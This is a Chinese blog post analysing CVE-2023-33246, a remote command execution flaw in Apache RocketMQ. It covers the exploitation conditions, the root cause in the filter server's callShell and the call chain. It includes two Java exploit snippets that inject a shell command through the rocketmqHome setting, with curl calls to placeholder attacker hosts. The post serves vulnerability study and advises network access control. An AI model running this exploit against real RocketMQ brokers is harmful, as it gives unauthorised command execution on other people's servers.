CVE-2023-33246 RocketMQ 远程命令执行漏洞分析

2023年5月23日, Rocketmq 爆出 CVE-2023-33246 RCE高危漏洞。 在一定条件下, 攻击者可以利用该漏洞通过更新配置功能以RocketMQ运行的系统用户身份执行命令 。

漏洞利用与复现

攻击者成功RCE需要满足以下条件

  1. Rocketmq 版本 < 5.1.1 或 < 4.9.6
  2. broker 未开启认证 或 攻击者ip在broker 白名单中
  3. 攻击者可以通过网络访问 Rocketmq 集群

因此, Rocketmq集群建议做网络访问控制, 如果端口开放到公网去了,会存在很大的安全隐患。

靶场环境搭建主要参考:

https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT

分析漏洞根因

漏洞成因主要有两个方面:

  1. rocketmq 支持远程更新配置, 对配置字符没有做过滤
  2. broker 启动会执行 filter server相关函数,该函数会拼接配置项并执行shell命令

rocketmq 支持远程配置更新源码

关键调用processRequest()–> updateBrokerConfig() -->getConfiguration() -->update():

rocketmq 的filter server存在命令执行操作

filter server 代码中有个callShell 函数,可以执行shell 命令,要命的是传入的shellString又是 可以通过远程配置来控制的。

看一下调用链路, 可以观察到,只要broker启动, 就会执行shell命令:

  • BrokerController.start() --> filterServerManager.start() --> createFilterServer() --> callShell()

那么, 这个恶意命令是如何拼接成的呢?

由于RocketmqHome这个参数的配置是可控的,攻击者可以远程修改RocketmqHome达到命令注入的效果:

使用java利用的payload如下:

pom

<dependency>
    <groupId>org.apache.rocketmq</groupId>
    <artifactId>rocketmq-tools</artifactId>
    <version>4.9.3</version>
</dependency>
	    public static void updateConfig1() throws Exception {
	        String url = "broker_ip:port";
	        Properties props = new Properties();
	        props.setProperty("rocketmqHome","-c $@|sh . echo curl http://远程恶意主机:9999/bbbb;");
	        props.setProperty("filterServerNums","1");
	        // 创建 DefaultMQAdminExt 对象并启动
	        DefaultMQAdminExt admin = new DefaultMQAdminExt();
	        admin.start();
	        // 更新配置⽂件
	        admin.updateBrokerConfig(url, props);
	        Properties brokerConfig = admin.getBrokerConfig(url);
	        System.out.println(brokerConfig.getProperty("rocketmqHome"));
	        System.out.println(brokerConfig.getProperty("filterServerNums"));
	        // 关闭 DefaultMQAdminExt 对象
	        admin.shutdown();
	    }

        String broker="xxxx1:10911";

        Properties props = new Properties();
        props.setProperty("rocketmqHome", "-c $@|sh . echo curl http://xxxx:8080;");
        props.setProperty("filterServerNums", "1");
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        admin.setNamesrvAddr("xxxx2:9776");
        admin.start();
        Properties brokerConfig = admin.getBrokerConfig(broker);
        String rocketmqHome = brokerConfig .getProperty("rocketmqHome");
        System.out.println("初始rocketmqHome: " + rocketmqHome);
        admin.updateBrokerConfig(broker, props);
        System.out.println("攻击结束");
        Thread.sleep( 35000L);
        props.setProperty("rocketmqHome", rocketmqHome);
        admin.updateBrokerConfig(broker,props);
        System.out.println( "配置以已经还原"+ brokerConfig.getProperty("rocketmqHome")+"!");
        admin.shutdown();

其实-c $@|sh . echo这个shell命令注入的原理还是很值得研究一下的,本文先略过。

我们可以从rocketmq日志里看到broker执行的shell命令, 可以观察到命令注入成功

 

posted @ 2023-07-18 14:03  少年阿丁  阅读(1341)  评论(0编辑  收藏  举报